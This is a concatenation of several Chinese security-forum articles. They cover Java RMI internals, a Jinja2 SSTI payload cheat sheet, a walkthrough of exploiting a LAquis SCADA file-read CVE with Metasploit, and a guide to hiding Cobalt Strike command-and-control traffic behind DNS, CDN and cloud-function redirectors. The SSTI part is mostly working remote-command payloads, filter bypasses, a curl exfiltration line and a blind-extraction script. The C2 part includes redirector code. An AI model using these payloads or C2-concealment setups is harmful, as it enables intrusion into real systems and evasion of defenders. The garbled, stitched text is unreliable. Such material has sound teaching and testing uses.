import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IRemoteHelloWorld extends Remote {
public Object helloWorld(Object word) throws RemoteException;
}
一个远程对象：
package org.las.remote;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RemoteHelloWorldImpl extends UnicastRemoteObject implements IRemoteHelloWorld {
public RemoteHelloWorldImpl() throws RemoteException{
}
public Object helloWorld(Object word) throws RemoteException {
System.out.println("Hello world..");
return "las";
}
}
我的客户端代码：
import org.las.remote.IRemoteHelloWorld;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
IRemoteHelloWorld helloWorld = (IRemoteHelloWorld) registry.lookup("Hello");
helloWorld.helloWorld("las");
}
}
在分析客户端和服务端之前，我想先贴出两者之间产生的流量。
红框框住的地方，是客户端在调用远程方法间隙，执行的有关`DGC`的操作。同时也可以看到，客户端发送的数据包有些太多了。除去握手包，注意第24和26两个包，根本不是我自己发的（远程调用的数据包是32、34号）而且数据量比较大。通过将24、26的数据反序列化后会发现，它们也是和`DGC`有关的。
关于DGC，简单提一下，全称是`distribute garbage
collection`。其实它的存在也很合理，当客户端获取远程对象时，服务端需要创建一个对象，以供客户端来调用其上的方法；但是这些对象也并不是永久存在的，它们也需要垃圾收集，这就引出了`DGC`的概念。但是具体是如何实现的我不太清楚，这也是我分析RMI源码的一个原因，希望接下来的分析能让我进一步理解它是如何实现的。
这一次我们先从客户端开始分析。
在此之前，又先抛出另外一个问题。
### 奇怪的UnicastRemoteObject
我们知道，一个远程对象，要么得继承`UnicastRemoteObject`类，要么得通过`UnicastRemoteObject#exportObject`进行转换：
public class RMIServer {
public static void main(String[] args) throws Exception{
System.setSecurityManager(null);
IRemoteHelloWorld remoteHelloWorld = new RemoteHelloWorldImpl();
IRemoteHelloWorld remoteHelloWorld2 = new RemoteHelloWorldImpl2();
Object obj2 = UnicastRemoteObject.exportObject(remoteHelloWorld2,0);
System.out.println(remoteHelloWorld);
System.out.println(obj2);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("Hello", remoteHelloWorld);
registry.bind("Hello2", (Remote) obj2);
System.out.println("[*] RMI Server started...");
}
}
这里我们将两个对象都打印出来看看：
后者是一个代理对象，前者还是正常的`RemoteHelloWorldImpl`。
但是在客户端看看呢：
public class RMIClient {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
IRemoteHelloWorld helloWorld = (IRemoteHelloWorld) registry.lookup("Hello");
IRemoteHelloWorld helloWorld2 = (IRemoteHelloWorld) registry.lookup("Hello2");
System.out.println(helloWorld);
System.out.println(helloWorld2);
}
}
打印结果：
都是代理对象！
这就奇怪了，在分析 **客户端—注册端**
时，我们讨论了在调用`registry.bind`时只是单纯将对象放到`registryImpl`的成员变量`bindings`中：
在客户端`lookup`时，注册端也只是从这个`bindings`里将对象取出，并调用`writeObject`：
所以问题只可能出在`writeObject`方法中。
我们跟进`var9.writeObject`方法，在下面这个地方发现了敏感的函数`replaceObject`，在进入前我们是`RemoteHelloWorldImpl`，出来时就是代理对象了：
此时的调用堆栈：
进入`MarshalOutputStream#replaceObject`瞧瞧：
这里的`ObjectTable`看着怪熟悉的。它在哪个地方似乎出现过。
其实是在`TCPTransport#exportObject`中：
我们之前只跟进了`this.listen()`，但是在它下面的`super.exportObject(var1)`里：
这里！它将Target放到了`ObjectTable`中。
但是到目前为止，我还有两个疑问：
* 服务端在什么时候进入了`TCPTransport#exportObject`，然后将这个`Target`放到了`objectTable`里呢？
* 在`replaceObject`中，调用`Target`上的`getStub`方法获取到的对象和我们在服务端自定义的`RemoteHelloWorldImpl`有什么关系呢？
由于我们的对象`RemoteHelloWorldImpl`继承了`UnicastRemoteObject`类，第一时间想到的就是它的构造函数。我猜测也许是在新建`RemoteHelloWorldImpl`时，调用的父类无参构造函数做了些事情：
跟进：
发现它竟然调用了`exportObject`这个静态方法。它是我们创建一个远程对象的第二种方式。继续跟进：
跟进ㄟ( ▔, ▔ )ㄏ：
终于到头了。
这里得到了两个信息：
* 首先，两种导出远程对象的形式最终都会去执行`UnicastServerRef#exportObject`。
* 其次，采用`UnicastRemoteObject.export(obj, port)`获取的远程对象，其实就是`UnicastServerRef#exportObject`的返回值。
而这个方法，我在 **客户端—注册端**
其实已经分析了。它的返回值就是一个`stub`，并且在它冗长的调用链中肯定会执行`TCPTransport#exportObject`方法。这里又再贴一下`UnicastServerRef#exportObject`方法：
至此，之前的第一个问题解决了。第二个问题：
**调用`Target`上的`getStub`方法获取到的`proxy`和我们自己的对象`RemoteHelloWorldImpl`有什么关系呢？**
进入`Target`的构造函数可以看到：
而`var3`就是我们刚刚创建的`Stub`对象。
回到最最最开始， **我们奇怪两种创建远程对象的方式最终在客户端获取到的都是同一种类型的问题** 也解决了：
* 使用`extends UnicaseRemoteObject`的方式，在`writeObject`的时候，会去获取到相应的`Target`上的`stub`对象。
* 使用`UnicastRemoteObject.exportObject(obj,0);`的形式，由于它本身返回值就是这个`stub`，所以会直接被写入。
* * *
此时我仍然疑惑，这个`stub`对象究竟是哪一个类？
跟进到`UnicastServerRef#exportObject`中的`Util.createProxy()`方法：
之前获取的stub对象是在上面if代码块中的`createStub()`，
而这里则是创建了一个`RemoteObjectInvocationHandler`的代理对象。
### 客户端
#### 远程方法调用
经过了上面的分析，我们知道了客户端的调试需要从`RemoteObjectInvocationHandler#invoke`方法开始：
前面几个if都直接跳过，直接进入到`invokeRemoteMethod`：
进入到`UnicastRef#invoke`方法，这里只贴出较关键的部分：
`new StreamRemoteCall()`之前已经跟过一次，就是写入一个版本字节，同时在BLOCK_DATA处写入数据：
在for循环下的`marshalValue()`部分，是将客户端执行方法传入的参数一个个写入到流中：
接下来跟进`var7.executeCall()`，即`StreamRemoteCall#executeCall`方法：
到`this.releaseOutputStream();`为止，客户端的调用请求被发送出去。接下来的地方又是老样子，读取首字节，然后获取BLOCK_DATA信息，如果没有抛异常则正常返回（见之前的分析）。
紧接着在`unmarshalValue()`方法中，将服务端执行命令后的返回对象进行了反序列化读取到`var50`中，并作为了`UnicastRef#invoke`的返回值。
#### dgc分析
等等，是不是什么东西漏了？明明还有DGC这些东西啊。它们的流量似乎在`RemoteObjectInvocationHandler#invoke`之前就发出了。
调试后发现，有关`DGC`的那段流量，在客户端执行`registry.lookup`方法时就发出了：
仔细调试后，定位到执行`RegistryImpl_Stub#lookup`finally块中的代码会发出这些流量：
不断跟进，可以来到`StreamRemoteCall#releaseInputStream`处：
`registerRefs`意味注册引用。看名字有点像是在告诉远端的JVM对对象增加引用的意思。
跟进：
这里获取到的`var5`类型是`List<LiveRef>`。
跟进`DGCClient#registerRefs`：
这里也许有一些难懂，但是参考[jdk源码的注释](https://github.com/frohoff/jdk8u-jdk/blob/master/src/share/classes/sun/rmi/transport/DGCClient.java)则一目了然：
/**
* Register the LiveRef instances in the supplied list to participate
* in distributed garbage collection.
*
* All of the LiveRefs in the list must be for remote objects at the
* given endpoint.
*/
static void registerRefs(Endpoint ep, List<LiveRef> refs) {
/*
* Look up the given endpoint and register the refs with it.
* The retrieved entry may get removed from the global endpoint
* table before EndpointEntry.registerRefs() is able to acquire
* its lock; in this event, it returns false, and we loop and
* try again.
*/
EndpointEntry epEntry;
do {
epEntry = EndpointEntry.lookup(ep);
} while (!epEntry.registerRefs(refs));
}
也就是说，每一个`Endpoint`，它可能有不只一个`LiveRef`，我们要在这个循环中向`Endpoint`注册所有这些`LiveRef`。这里，`Endpoint`就理解为某个主机上监听在某个端口的进程就行了。
接下来跟进`epEntry.registerRefs`，即`DGCClient#registerRefs(List)`：
跟进`DGCClient#makeDirtyCall`：
跟进`DGCImpl_Stub#dirty`：
可以看到，在这里发送了`dgc`请求，并且收到服务端的回复是一个`java.rmi.dgc.Lease`对象。
> 并且我们在这里再次看到了“_stub“字眼，再次说明skel和stub的概念不只用于客户端和服务端之间。
这个`Lease`对象的作用可见官方注释：
/**
* A lease contains a unique VM identifier and a lease duration. A
* Lease object is used to request and grant leases to remote object
* references.
*/
发现它确实有一个成员变量来表示对象的存活时间：
回过头来，再看一下`DGCClient`这个对象上官方的注释：
/**
* DGCClient implements the client-side of the RMI distributed garbage
* collection system.
*
* The external interface to DGCClient is the "registerRefs" method.
* When a LiveRef to a remote object enters the VM, it needs to be
* registered with the DGCClient to participate in distributed garbage
* collection.
*
* When the first LiveRef to a particular remote object is registered,
* a "dirty" call is made to the server-side distributed garbage
* collector for the remote object, which returns a lease guaranteeing
* that the server-side DGC will not collect the remote object for a
* certain period of time. While LiveRef instances to remote objects
* on a particular server exist, the DGCClient periodically sends more
* "dirty" calls to renew its lease.
*
* The DGCClient tracks the local reachability of registered LiveRef
* instances (using phantom references). When the LiveRef instance
* for a particular remote object becomes garbage collected locally,
* a "clean" call is made to the server-side distributed garbage
* collector, indicating that the server no longer needs to keep the
* remote object alive for this client.
*
* @see java.rmi.dgc.DGC, sun.rmi.transport.DGCImpl
*
* @author Ann Wollrath
* @author Peter Jones
*/
这里看到，自调用`StreamRemoteCall#releaseInputStream`中的`this.in.RegisterRefs`以来，客户端所作的事情，确实是向服务端注册每一个`LiveRef`，并且获取到服务端返回的Lease，来告诉服务端短时间内不要回收这些对象。至于像注释说的，租约lease到期后需要再次发送`dirty
call`的操作，就不再跟进了。
### 服务端
我们在 **客户端—注册端**
一节，调试`LocateRegistry#createRegistry`时曾跟进了`UnicastServerRef#exportObject`方法。它的调用栈会在某个地方执行`this.listen()`方法监听在某个端口接受客户端的请求；
回到 **客户端—服务端** ，由于前面分析过，创建一个远程对象无论怎样都会调用`UnicastRemoteObject#exportObject`方法：
在这里也调用了`UnicastServerRef#exportObject`方法。
所以服务端和注册端一样都通过了`UnicastServerRef`对象来开放服务。这里就不进一步跟进了。
需要强调的是`UnicastServerRef#dispatch`方法，我前面也提到过：
在远程方法调用时，它是不会进入这个if分支的，而是会继续向下执行。
它首先会从返回数据中读取一个数据类型为Long的变量：
var4 = var39.readLong();
这个long变量其实是客户端想要调用方法的哈希，当在`this.hashToMethod_Map`获取不到时会报错：
在学习使用反序列化攻击rmi服务端时，如果在客户端自己魔改了远程对象的接口方法（比如参数类型原本在服务端是`java.lang.String`，但在客户端修改为`java.lang.Object`），此时需要修改这个哈希值才能正常攻击。
### 总结
* dgc流程：
1. 客户端通过`lookup`获取到一个对象后，会向服务端发起一次`dirty call`，以通知服务端短时间内不要回收该对象；
2. 服务端返回给客户端一个`lease`，该对象告诉了客户端接下来多久的时间内该对象是有效的。如果客户端在时间到期后还需要使用该对象，则需要继续调用`dirty call`；
3. `DGCClient`会跟踪每一个`liveRef`，当他们在客户端已经不再有效后，就会发起`clear call`告诉服务端可以回收有关对象了。
* 无论是rmi注册端还是服务端，它们都通过`UnicastServerRef#exportObject`开启指定端口上的服务，最终都会进入`TCPTransport#handleMessages`中的循环来监听输入流，并且最后又都会使用`UnicastServerRef#dispatch`来调用注册端或者服务端的功能。
## 参考链接
1. [针对RMI服务的九重攻击](https://xz.aliyun.com/t/7930)
2. [Java安全-RMI-学习总结](https://payloads.info/2020/06/21/Java%E5%AE%89%E5%85%A8-RMI-%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/)
3. [DGCClient源码](https://github.com/frohoff/jdk8u-jdk/blob/master/src/share/classes/sun/rmi/transport/DGCClient.java) | 社区文章 |
cl4y@星盟
[toc]
# SSTI模板注入(Python+Jinja2)
> 之前有做过一些SSTI的ctf，但是没有系统的学习，今天来总结一下。
## 前提知识
python、flask、jinja2
## SSTI介绍
ssti主要为python的一些框架 jinja2 mako tornado django，PHP框架smarty twig，java框架jade
velocity等等使用了渲染函数，这些函数对用户的输入信任，造成了模板注入漏洞，可以造成文件泄露，rce等漏洞。
****永远 不要 相信 用户的任何输入****
## SSTI种类
不同框架有不同的渲染模板：
## 漏洞成因
一个安全的代码应该如下：
#/www
from flask import Flask,request,render_template
from jinja2 import Template
app = Flask(__name__)
app.config['SECRET'] = "root:password"
@app.route('/')
@app.route('/index')
def index():
return render_template("index.html",title='SSTI_TEST',name=request.args.get("name"))
if __name__ == "__main__":
app.run()
<!--/www/templates/index.html-->
<html>
<head>
<title>{{title}} - cl4y</title>
</head>
<body>
<h1>Hello, {{name}} !</h1>
</body>
</html>
可以看到，我们在index.html里面构造了两个渲染模板，用户通过传递name参数可以控制回显的内容：
即使用户输入渲染模板，更改语法结构，也不会造成SSTI注入：
原因是：服务端先将index.html渲染，然后读取用户输入的参数，模板其实已经固定，用户的输入不会更改模板的语法结构。
而如果有程序员为了图省事，将代码这样写：
from flask import Flask,request
from jinja2 import Template
app = Flask(__name__)
app.config['SECRET_KEY'] = "password:123456789"
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template('''
<html>
<head>
<title>SSTI_TEST - cl4y</title>
</head>
<body>
<h1>Hello, %s !</h1>
</body>
</html>
'''% (name))
return t.render()
if __name__ == "__main__":
app.run()
我们再进行测试：
可以看到，我们输入的内容被服务器渲染然后输出，形成SSTI模板注入漏洞。
## 基础知识
* `__class__`
万物皆对象，而class用于返回该对象所属的类，比如某个字符串，他的对象为字符串对象，而其所属的类为`<class 'str'>`
* `__bases__`
以元组的形式返回一个类所直接继承的类。
* `__base__`
以字符串返回一个类所直接继承的第一个类。
* `__mro__`
返回解析方法调用的顺序。
可以看到`__bases__`返回了test()的两个父类，`__bases_`返回了test()的第一个父类，`__mro__`按照子类到父类到父父类解析的顺序返回所有类。
* `__subclasses__()`
获取类的所有子类。
* `__init__`
所有自带类都包含init方法。
* `__globals__`
`function.__globals__`，用于获取function所处空间下可使用的module、方法以及所有变量。
## 注入思路|payload
### 注入思路
* 随便找一个内置类对象用`__class__`拿到他所对应的类
* 用`__bases__`拿到基类（`<class 'object'>`）
* 用`__subclasses__()`拿到子类列表
* 在子类列表中直接寻找可以利用的类getshell
''.__class__.__bases__[0].__subclasses__()
().__class__.__mro__[2].__subclasses__()
request.__class__.__mro__[1]
接下来只要找到能够利用的类（方法、函数）就好了：
### 找可利用的类
from flask import Flask,request
from jinja2 import Template
search = 'eval'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
这是一个找可利用类的脚本，可供师傅们自己去发掘利用链，想利用啥，就找啥就行了。然后我找到了一下利用链，在下面写出。
### python2、python3通用payload
**因为每个环境使用的python库不同 所以类的排序有差异**
#### **直接使用`popen`（python2不行）**
`os._wrap_close`类里有popen。
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
#### **使用`os`下的`popen`**
可以从含有os的基类入手，比如说`linecache`。
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()
#### **使用`__import__`下的`os`（python2不行）**
可以使用`__import__`的`os`。
"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()
#### **`__builtins__`下的多个函数**
`__builtins__`下有`eval`，`__import__`等的函数，可以利用此来执行命令。
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
### 利用python2的`file`类读写文件
在python3中`file`类被删除了，所以以下payload只有python2中可行。
用`dir`来看看内置的方法:
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()
#写文件
"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')
#python2的str类型不直接从属于属于基类，所以要两次 .__bases__
### 通用getshell
原理就是找到含有`__builtins__`的类，然后利用。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
#读写文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
## 绕过
#### 绕过中括号
#通过__bases__.__getitem__(0)（__subclasses__().__getitem__(128)）绕过__bases__[0]（__subclasses__()[128]）
#通过__subclasses__().pop(128)绕过__bases__[0]（__subclasses__()[128]）
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()
#### 绕过逗号+中括号
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}
#### 绕过双大括号（dns外带）
{% if ''.__class__.__bases__.__getitem__(0).__subclasses__().pop(250).__init__.__globals__.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
#### python2下的盲注
python2下如果不能用命令执行，可以使用`file`类进行盲注
import requests
url = 'http://127.0.0.1:8080/'
def check(payload):
postdata = {
'exploit':payload
}
r = requests.post(url, data=postdata).content
return '~p0~' in r
password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
for i in xrange(0,100):
for c in s:
payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
if check(payload):
password += c
break
print password
#### 绕过 引号 中括号 通用getshell
ps. 其实还可以再绕过 双花括号，不过payload过于恶心，懒得写了，不过或许之后会出一道题也不好说2333。
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}{{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}{% endif %}{% endfor %} | 社区文章 |
# 国外某工业SCADA软件漏洞复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
近年来随着网络安全形势的日渐严峻，国内外越来越重视工业信息安全的研究。“等保2.0”专门加入了工业控制系统扩展要求，呼之欲出的“关保”中，大多数涉及国计民生的关键信息基础设施也属于工业控制系统。工业信息安全属于一门混合学科，既要了解工业基本知识，也需要掌握网络安全攻防知识，故该领域人才还存在较大缺口。本文编写的初衷是希望工业领域和网络安全领域能碰撞出更多的火花，以涌现更多的工业信息安全从业人员，故针对SCADA软件的安装和漏洞利用的每一步均采用了大量的图文介绍，以达到科普的目的。
## 一、软件介绍
LAquis SCADA 是LCDS-巴西咨询与发展公司（官网：http//:www.lcds.com.br）开发的一款监视控制和数据采集软件，可在工业控制系统（ICS）或分布式控制系统（DCS）中工作，从数据采集到应用程序开发。
LCDS在巴西的12个州与客户一起使用。除了获得认可的RBC实验室和自动化集成商外，它还应用于以下领域：纺织，机械金属，汽车，食品，农艺师，能源，房地产，引擎，机械加工，木材，检验，液压，化学，铸造，医院，造纸，教学，运输，建筑等…
## 二、漏洞复现环境搭建
### 2.1软件下载：
由于LAquis官网不提供历史版本下载，幸好手头还有一枚存货，软件版本为4.1.0.2385，可以用于复现大部分漏洞。
关注我获取软件下载链接^_^。
### 2.2、软件安装
LAquis scada支持大多数版本的windows系统，包括（WinXP，Win7 x32，Win7 x64， Windows2000，Windows
2003等）
双击运行安装程序,安装过程，一路点击下一步即可。
安装完成后，在桌面生成快捷方式：
查看软件版本，为4.1.0.2385
### 2.3、软件使用
为了复现漏洞，我们需要启动软件并开启相关服务。
双击桌面上的软件图标，软件打开后会弹出一个窗口，可以新建空白工程，也可打开样例程序。这里我们选择不创建。
然后在路径：C:\Program Files\LAquis\Apls\Examples\ExemplosCLPs\MODBUS下，打开下图所示工程。
下面是最关键的一步，启动webserver
点击软件左上方的Menu，在下拉菜单中点击File,然后选择WEB Server
在弹出的窗口中，点击Activate WEB server
点击后提示需要先保存，选择是
如果第一次使用，系统防火墙会提示，选择允许即可。然后会自动弹出WEB页面：
查看本机IP地址，我这里是192.168.178.150，
远程访问直接输入网址：http:192.168.178.150:1234即可访问该WEB页面，这样漏洞复现环境就搭建好了。
## 三、漏洞利用
### 3.1、准备漏洞利用工具
下载并安装kali linux (官网下载<https://www.kali.org/downloads/>)
Kali Linux是基于Debian的Linux发行版，旨在进行高级渗透测试和安全审核。Kali
Linux包含数百种工具，可用于各种信息安全任务，例如渗透测试，安全性研究，计算机取证和逆向工程。Kali
Linux由领先的信息安全培训公司Offensive
Security开发，资助和维护。(官方帮助文档[https://www.kali.org/docs/）](https://www.kali.org/docs/%EF%BC%89)
可以选择自己安装，也可使用制作好的iso镜像，新手建议直接使用iso镜像.
关于如何安装kali linux和如何使用metasploit的文章网络一搜一大把，这里就不再赘述。
### 3.2、准备漏洞利用脚本
首先通过cve查询到LAquis scada的相关漏洞信息，
通过https://www.exploit-db.com/下载漏洞利用脚本：
下载完成后，把文件放入metasploit中，为了便于归类和查找，建议放入到下列路径：/usr/share/metasploit-framework/modules/exploits/windows/scada/ ,文件名可以修改以便于记忆和使用。
在终端中，输入命令msfconsole，打开metasploit程序，在msf中输入命令：reload_all
注：这里用到了kali linux中的metasploit，关于kali linux的使用、metasploit的使用这里不专门进行介绍了。
### 3.3、漏洞利用
直接输入命令使用该模块：use exploit/windows/scada/LAquis_cve_2017_6020，
输入命令：show options查看模块参数
参数说明：
DEPTH
到达基本目录的级别，(也就是有多少个../)，如果安装时未更改路径，默认就是向上跳转10级。如果更改路径漏洞利用不成功，可以根据实际情况调整此参数。
FILE 这是要下载的文件,与上面的DEPTH参数结合组成完整的文件路径。
Proxies 端口[，类型：主机：端口] […]的代理链
RHOSTS 目标主机，范围CIDR标识符或具有语法’file：<path>‘的主机文件
RPORT 目标端口（TCP），软件默认安装是1234，不排除更改的可能。
SSL 协商出站连接的SSL / TLS
VHOST HTTP服务器虚拟主机
本实验中我们只需要修改FILE和RHOSTS这两个参数即可
为了使漏洞表现更明显，我们在服务器：192.168.178.150上是windows/system32下新建一个命名为6020.txt的文件。里面输入内容
cve-2017-6020 by Gootime
然后回到msf中，设置FILE和RHOSTS这两个参数；
输入命令：set FILE windows/system32/cve6020.txt
输入命令：set RHOSTS 192.168.178.150
输入命令：show options查看是否输入成功
最后，输入命令run，利用漏洞获取服务器上的文件（在执行的时候，可以打开wireshark进行抓包，以便获得更详细的漏洞利用细节）
漏洞利用成功，把目标服务器上的文件下载到了下列路径中，
‘windows/system32/cve6020.txt’
to
‘/root/.msf4/loot/20201116065026_default_192.168.178.150_laquis.file_780688.txt’
进入下列文件路径/root/.msf4/loot/，找到文件并双击打开，找到我们输入的文件内容：cve-2017-2020 by
Gootime.再次证实漏洞效果。
除了我们指定的文件，我们也可以任意遍历服务器上的任何文件。
### 3.4、漏洞分析
通过流量分析，我们发现，该漏洞指向文件listagem.laquis中的NOME参数
该文件位于当前工程文件目录下，
## 四、漏洞影响
该软件在国内应用较少，主要目标用户在巴西。公开漏洞利用细节的仅有cve-2017-6020，另外还存在众多高危漏洞需要国内用户引起重视。如有使用该软件的用户，建议更新到版本4.1.0.4150，可以在[https://laquisscada.com找到该版本：](https://laquisscada.com%E6%89%BE%E5%88%B0%E8%AF%A5%E7%89%88%E6%9C%AC%EF%BC%9A)
NCCIC建议用户采取防御措施，以最大程度地利用此漏洞。具体来说，用户应：
最小化所有控制系统设备和/或系统的网络暴露，并确保不能从Internet访问它们。
在防火墙后面找到控制系统网络和远程设备，并将其与业务网络隔离。
当需要进行远程访问时，请使用安全方法，例如虚拟专用网（VPN），并确认VPN可能存在漏洞，应将其更新为可用的最新版本。还应认识到VPN仅与连接的设备一样安全。
参考：
<https://us-cert.cisa.gov/ics/advisories/ICSA-19-015-01>
<https://www.kali.org/docs/> | 社区文章 |
<https://hackit.cc/readme.html> <= 题目入口 (1个萝卜5个坑，欢迎尝鲜)
自己试试水，拿不下的分享给小伙伴，来开动骚脑筋吧！flag格式：FLAG{xxxx}
请提交email到 `[email protected]` 顺便带上你的先知 ID，虽然我这没有任何奖励，但是万一小冰开心地给送2k代金券也说不定呢~
Good luck ~
[ | 社区文章 |
# 1.前言
话接上篇，上篇写了cs的常见特征隐藏，这次来讲解下，几种木马上线，常见的隐藏方法，其中有代理转发上线，DNS上线，CDN上线，域前置上线，云函数上线。
其中域前置上线，通过
这种方法需要厂商的支持，早些时候的amazon和google云都支持，后来取消了。随后cloudflare也取消了域前置的支持，目前国内的aliyun是支持的，曾经ali的cdn绑定域名不需要校验，可以随意绑定域名，实现高可信度域名绑定，现在则添加了域名验证，
不太好设置，如果想看，可以到我的博客中查看。
咱们这次就介绍三种常用的上线方式，DNS、CDN、云函数上线
## 2 DNS上线
1. 一般我们拿到的shell都是，对出网有限制的，一般只能DNS出网，这时候就要用到我们 DNS 协议建立 C2 通信。，一般waf不会分析DNS流量，这一点也是能够隐蔽的特性。
2. DNS_TXT隧道传输：控制端发送的对目标的操作命令被加密后通过DNS的TXT记录里，通过DNS隧道传输隐蔽性较强不易被发现，但传输速度非常慢。
### 前期准备
1. 需要准备一个不需要备案的域名
2. 国外vps
### 正文
#### 域名注册
1. 想白嫖域名可以到 **freenom.com** 注册一个免费且不用备案的的域名，但是我重来没用成功过。
2. 趣域网可以代购国外域名， **quyu.net** 购买一个不需要备案的域名
#### DNS记录配置
当注册好域名后，我们就要来配置dns了，创建A记录对应IP为VPS的IP，创建NS记录，解析地址为A记录的域名
设置完成后，pingA记录域名验证是否能够解析
#### CS的Listeners配置
上线之后是个小黑屏，使用`checkin`命令让dns beacon强制回连teamserver，并输入命令 `mode dns-txt`使传输的数据更多一些。
## 3 CDN上线
CDN的IP是多个域名共用的，为了做到精确判断，CDN会解析我们的 **host**
头，根据这样的方式进行判断通信域名，这样我们设置上线IP设置为CDN服务器的IP， **host** 设置为我们的DNS，达到隐藏IP的需求
#### 前期准备
1. CDN服务器，可以选择CloudFlare，amazon，google，tencent，aliyun，都可
2. 免备案域名，参考上一节
3. 国外vps服务器，可以选择Vultr之类的，实在没用就用国内的也行
#### 正文
##### CDN服务器注册
1. 想白嫖的可以去CloudFlare注册申请免费CDN加速
2. 腾讯云，也可以白嫖6个月的免费CDN加速
##### 配置CND服务器
这里我就用，CloudFlare做做测试了，把域名接入到CloudFlare管理，设置默认CDN加速
接入域名后，并添加个A记录域名，开启CDN加速
设置完成后解析下，我们的添加的A记录域名
##### CS的Listeners配置
Cloudflare支持的HTTP端口是： 80,8080,8880,2052,2082,2086,2095
Cloudflare支持的HTTPs端口是： 443,2053,2083,2087,2096,8443
###### **CDNhttp上线**
成功上线
抓包流量走的都是CDN的IP
###### **CDNhttps上线**
CS使用CDN后，可以一定程度隐藏IP地址，使用WireShark抓包交互IP都是CDN地址，但是传输协议使用的HTTP，传输内容是没有加密的，如果要加密，则可以使用HTTPS。
还以CloudFlare为例，切换到SSL/TLS栏，证书类型选择完全，如下图：
切换到源服务器，创建证书保存 **私钥和证书**
将生成的内容分别存储为1.pem和1.key（名字可以随便起），传到CS所在的服务器，然后生成新的store文件，执行下面命令，生成相关的store文件：命令中xxx.xxxx.com替换为自己的域名
openssl pkcs12 -export -in 1.pem -inkey 1.key -out a.p12 -name xxx.xxxx.com -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore https.store -srckeystore a.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias xxx.xxxx.com
最后需要更改cs的配置文件中https-certificate的配置
https-certificate {
set keystore "https.store";
set password "123456";
}
重启teamserver设置Listeners
抓包查看，流量已经SSL/TLS加密，流量的IP是DNS服务器的IP
## 4 云函数上线
云函数还是得益于Serverless架构，或者称为无服务器架构，是最近几年新冒出来的一种架构风格，仅需用户编写和上传核心业务代码，交由平台完成部署、调度、流量分发、弹性伸缩等能力。
我们就可以利用云函数，配置个流量转发，C2Client访问云函数，云函数将流量转发到咱们的C2服务器，一般云函数服务器都会配置CDN，这样速度还行，还可以达对C2服务器的隐藏。
#### 前期准备
1. 支持云函数的厂商azure，tencent都可
2. 国外vps服务器，可以选择Vultr之类的，实在没用就用国内的也行
#### 正文
##### 云函数配置
这里我们用tencent做测试，在控制台中找到云函数，创建给新的云函数服务，选择自定义，python3.6环境
代码为：
# -*- coding: utf8 -*- import json,requests,base64
def main_handler(event, context):
C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
配置触发器，选择自定义，触发版本选择LATEST最新，触发方式选择API网关触发，这里的API网关触发，根据文档介绍可知它的机制，即将请求内容以参数形式传递给函数，并将函数的返回作为响应的内容。其它选项默认即可。
